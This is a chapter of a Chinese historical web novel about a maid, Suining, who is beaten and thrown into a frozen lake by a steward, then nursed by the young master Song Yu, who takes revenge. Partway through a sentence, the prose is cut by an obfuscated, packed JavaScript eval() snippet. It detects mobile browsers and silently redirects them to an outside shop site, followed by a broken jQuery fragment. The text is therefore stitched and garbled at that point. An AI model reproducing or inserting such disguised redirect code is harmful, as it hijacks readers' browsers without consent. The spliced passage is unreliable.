灯笼中的烛火被湖风吹得摇摇晃晃,忽明忽灭。
岁宁将从栖春居得来的书卷揣在怀里,又拢了拢衣衫,提着灯缓缓而行。
谁料身后刹时伸出一双手,将她推下结满冰的湖里。碎冰与湖水灌进冬衣里,寒意犹如锥心刺骨的痛,刺进她鲜血淋漓的皮肉里,使之蓦然清醒。才挣扎着爬上了岸,背后一记闷棍又令她跪倒在地。
彼时在主子面前唯唯诺诺的管事,此刻趾高气扬地站在她面前,寒风将他的衣袂吹得猎猎作响。
岁宁颤抖地抬起手,摸到了发髻上的银簪,却瞥见他身后尚还有两名杂役。
刘晟嗤笑道:“我在宋府做了十四年管事,你告了密又如何?常青院的那位向来做不了主,如今哪还护得了你?”
“......”岁宁低垂着头,攥着那本已经湿透了的书卷,一言不语。
任由刘晟踩着她的裙摆,张牙舞爪道:“怎么?去了常青院,就忘了怎么乞怜吗?”
岁宁忍住齿间颤栗,连指甲抠烂了书封都浑然未觉。可是想到贺奚的死,她最终还是在活着与死去之间选择了委曲求全。
她麻木地开口:“奴知错了......”
“还有呢?”
“......再也不敢了......”
“今日只给你长个教训,免得来日连自己的地位都认不清。”
黑暗之中,男人笑得愈发得意,带着身后的两名杂役扬长而去。
风雪冷冽,寒意透过湿漉的衣裳如同尖针般刺进了她的骨子里,已分不清是冷还是痛,唯有恨意格外清晰。
昏黄的烛光透过书房的镂花窗,映照在檐下石阶上,是这清冷的院子里唯一一点暖意。
她扶着树干,一步一步踱回院子里。脚步声惊起树上的麻雀,抖落了枝干上的积雪。
宋聿听见院里传来的动静,他举着烛台出了门,立在台阶上,冷声道:“我原以为你成了青璃院的人了,如今又回来作甚?”
她迟疑走近,在看到檐下模糊的人影后,一头栽倒在雪地里,活像只落水的狸奴,浑身透着寒气,狼狈得很。
惊惶取代了恼怒,少年扔了手中的灯,解下身上的斗篷便朝她跑了过去。
“谁干的?”他扶起雪地上奄奄一息的人,将斗篷盖在她身上,一路扶着她进了屋。
她沉默了许久才开口,声音细若游丝:“夜里没看清路,跌水里去了......”
“何必骗我?”
到了烛光照亮的檐下,宋聿才看到她后背渗出的血,将洁白的斗篷染红了大片,皑皑雪地之间留下一路蜿蜒的血痕。
他清冷的眉目间挂着平日里少有的怒意,“她打你了?”
喉间忽然涌起一阵酸涩,岁宁无力地抬起手,当真很想抽此人一耳光。可她提不起一丝力气,恨意只能化作冰冷的触觉从他面颊滑落。
待冷静下来,她才记起那册纸页粘连的书,同他说道,“抱歉啊,公子,把周先生给你的书弄湿了。”
虽无法报复,尚且能诛心。
宋聿扫过封面上模糊的墨字,与其上狰狞的指甲印,煞时晃了神。他把人抱到榻上,又将暖炉移到榻边。
“你且等着,我去寻医师来。”
话音如松风过境,吹落了无情枝上的雪。
一如往年冬日,她发了高热,又染了咳疾,在天寒地冻的夜里咳得上气不接下气。每每咳得剧烈,便又扯动背上的伤口,在素纱禅衣上渗出一道道血痕来。
宋聿终日抱着那本满是指甲印的书籍,那是她从栖春居带回来的东西。他时常悔恨自己因一时置气,几乎害得她死在了这个冬夜里。
岁宁乐于见到这位公子眼中的悔意,毕竟在这食人的府邸中,他尚且算得上是个温情尚存的人。
可纵使炭火从未间断,汤药一碗接一碗,却半点好转的迹象也无。连医师都断言,她剩不了几日光景。
风雪漫卷,枯荷摇曳,湖面的薄冰似被寒冬揉碎了般,洒落连片的冰霜,浮起的冰凌随风晃荡,映出寒冷而清冽的光。一个约莫十七八岁的少年立在那儿,冷风吹得发丝凌乱,衣袂飘飖,腰间组玉佩也一并纠缠。
刘晟匆匆赶来,俯身朝他施礼道:“敢问公子,何故唤小人前来?”
宋聿转头睨了他一眼:“你不知晓么?”
“还请公子明示。”纵使心中已猜了个大概,刘晟依旧拱手静待。
“走近些。”宋聿抬手,招呼他上前来。
“这......”
见他迟疑,宋聿又不耐斥道:“磨蹭什么?”
刘晟方低头走上前来,少年便后退一步,织成履一抬,直直将他踹进了冰湖里,水花四溅,荡开一片的冰碴。
“公......公子。小人知错,求公子饶过小人......”水中人扑腾一阵,浑身止不住地颤,没得岸上的人准允,却又不敢上岸来。
“你亦惧死?”宋聿神情冷漠地看着湖里挣扎的人,却不觉报仇的快意,“可好端端的人,都快给你弄死了。”
“有人落水了!”忽有仆役高声呼号,张惶而去。
未久,一位雍容华贵的锦衣夫人闻声而至,身后还跟着四五个婢子和杂役。
“竖子!”姜夫人怒目嗔他,随后又对身后人吩咐道,“还不快把人捞上来?”
“母亲。”宋聿侧过身朝她行礼,“儿可没说,不让他上来。”
姜韶扬起手,看着少年人与自己七分相似的容貌,那一巴掌终究没落下去,最终只是一挥袖,怒道:“瞧瞧你做的好事!非要扰得府上鸡犬不宁才肯罢休,是否?”
宋聿反问道:“府里下人犯了错,不该罚吗?叫他受些皮肉之苦,才肯长记性。”
“你何时学的这般乖戾?可是那个伧奴教唆的?”姜韶虽面上怒不止,言下之意却已是在给他找补了。谁料那逆子竟胆敢顶撞:“自然是同母亲学的,您不是向来如此么?”
“住口!给我滚回常青院!”姜韶一时气忿,先前那一巴掌还是落在了他脸上,周围下人见状,纷纷吓得低下头去。
宋聿冷声道:“母亲就这般纵着刘晟为虎作伥?”
“真是......气煞我也......此事若让你父亲知晓,又要打断几根家法?”
他噤了声,没再争论下去。
窗外天光未明,炉中炭火将熄,屋内残存着淡淡的杜衡香,病榻上的少女悠悠转醒,悄然听着某人靠在榻边喃喃自语。
他似乎怕极了死人,怕极了她会死在常青院里。
“稚容,我原谅你了......”
原谅你此前的刻意欺瞒,首鼠两端,表里不一。
可是他又比谁都清楚,世人既不痴,也不傻,没人会为了他,去违逆姜夫人的命令。
“你可否也原谅我?”
“原谅我什么?”岁宁摸索着爬起,拿过压在枕下的银簪,自将散落的青丝绾了绾。眉间忧郁未舒,惨白的面上萦纡一丝病气。
“......”宋聿看着她,莫名红了眼,却久久吐不出一个字来。
岁宁从不觉得自己做错了什么。
“是我错了,你能否宽恕我?”望着她额前垂下的几缕鬓发,掩去了脸上那道浅浅的伤疤,宋聿不自觉地将手抬起,又放下。
岁宁垂眸看着他,眼睫轻轻颤动,睫下泪光闪烁。她不愿作答,只嘲道:“原来公子这般害怕死人啊?”
宋聿便也跟着自嘲,低着头哑然失笑,许是思及了往事,不禁笑出了眼泪来。
她又戏说:“倘若我真死了,公子怕是唯一一个会替我殓尸的人吧?”
宋聿斥她:“说的什么胡话?”
所幸,那一季一枯荣的蒲柳熬过了这个深冬。不知是什么支撑她捱过苦寒,才未变成世间尘土一抔,泥下白骨一具。
岁宁道:“可我在梦中,听到公子说了许多胡话。”
“信口胡诌!”
岁宁低咳了几声,抚了抚胸口,又躺回榻上,痴痴地望着头顶的罗帐,自顾自说道:“可是公子......你不知晓冬日的湖水有多冷,不知去净山寺的山路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281791|151861||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多远,不知跪在雪地的膝多痛......你只知府中人对你有所成见,夫人待你太过苛责......”
“不曾为奴为婢之时,我也见过枝柯横斜春水流,细柳如烟绕桥头。可自胡人南下之后,就只能看到尸身布满河面,白骨遮蔽田野......”
“我也不知,这世道为何如此......而我又为何沦落至此,要受这样的搓磨......”
她抬手覆住双眼,泪水从指缝间滑落。
宋聿替她放下了罗帐,依旧背靠在床榻边,听着身后人低声啜泣。他说,“若你不再向着那个人,我愿护着你。”
“可我又不是公子,怎敢忤逆夫人呢?”
“当时约法三章,你又是怎么约定的?”末了,他又叹了口气,“如今我只有一个条件。”
“什么条件?”
“别死在常青院里。”
岁宁莫约也了解了此人,习惯用冷言冷语诉说关心。
又是一个落雪的冬日,宋聿正在案前翻书,将那册浸过水的书卷一字字誊抄出来。岁宁端了盏梨茶进去,他抬头看了来人一眼,没再像从前那般将她赶出去。
岁宁把茶盏搁在他手边,在他身侧落座,“我替公子研磨。”
宋聿顿了顿笔,道:“腊月里天寒,怎的不好生歇着?”
岁宁没理会他的话,只盯着那册书卷,惋惜道:“字都洇得看不清了。”
“先生为何让你送一卷兵书?”
岁宁一本正经道:“周先生说,这是棋谱,他毕生所学都在收录于此书了。”
宋聿一时有些哭笑不得,“他又不懂弈棋。”
岁宁摇摇头,“公子比我了解那位先生,当真不知他心中所想吗?他自是盼你早日放下心中芥蒂。”
“公子不会一辈子困守在常青院,待到加冠、入仕、成家,自有千百种法子远离这个是非之地,届时山河辽阔,天地自由。”
“有心之人,自能看清公子本来的模样。无心之人误解,又何必与之计较?”
岁宁絮絮叨叨说了许多,大抵是将周其清的话转述。
宋聿行至窗前,他对被罚跪祠堂和禁足常青院的事闭口不谈,只低头望着窗外满地的尘土与落叶,微微叹息。
不禁想起,先生领着他回到宋府的那天,也是这样一个落雪的冬日。
一路上,先生都在劝他,莫要怪你的父母,他们不是故意将你丢弃的。
他也想同先生说的那样,可是这座府里的人,好似不大欢迎他。
后来才渐渐明白,他是在南渡逃亡路上被舍弃的孩子,也是这个自诩清白的家族难以抹去的污点。
所有人心照不宣地对经年旧事闭口不提,他们或许庆幸这个孩子还活着,同时也担心他会不会将此事抖出去。
见他许久不说话,岁宁不知自己的言语是否又一次中伤了他。
宋聿解下了窗前的平安符,扔进了木案下的夹层里。再回过头来,看那个病容未褪的少女,道,“我不知接虞山多高,不知净山寺多远,我改变不了这世道,改变不了母亲的看法,只能退居在这一亩三分地。”
那一刻岁宁真想去劝姜夫人,把他扔出去吃几天苦头,或许他就老实了。临了,她却又耐着性子劝慰道:“公子可还在同夫人置气?其实二公子的那枚平安符也是柳莺去求来的......如此看来,倒算不上偏心......”
“住口!”
岁宁收起了墨块,又拿过帕子细细擦去手上的墨渍,“那我先退下了?”
“不是......我并非那个意思。”
“我不信神佛,也比不得柳莺诚心,如此求来的符,也保不了平安,公子还是扔了吧。”她冷下脸,起身拂了拂衣,意将离去。
“到底是你辛苦求来的,我怎敢糟践?”宋聿忙跟上去,解释道,“我只是,不愿听你向着我母亲说话。”
岁宁抬眼望去,只瞧见他眼中的爱憎分明。她只笑笑,“那我以后都不向着夫人说话了,好不好?公子可能保我下半生顺遂无虞?”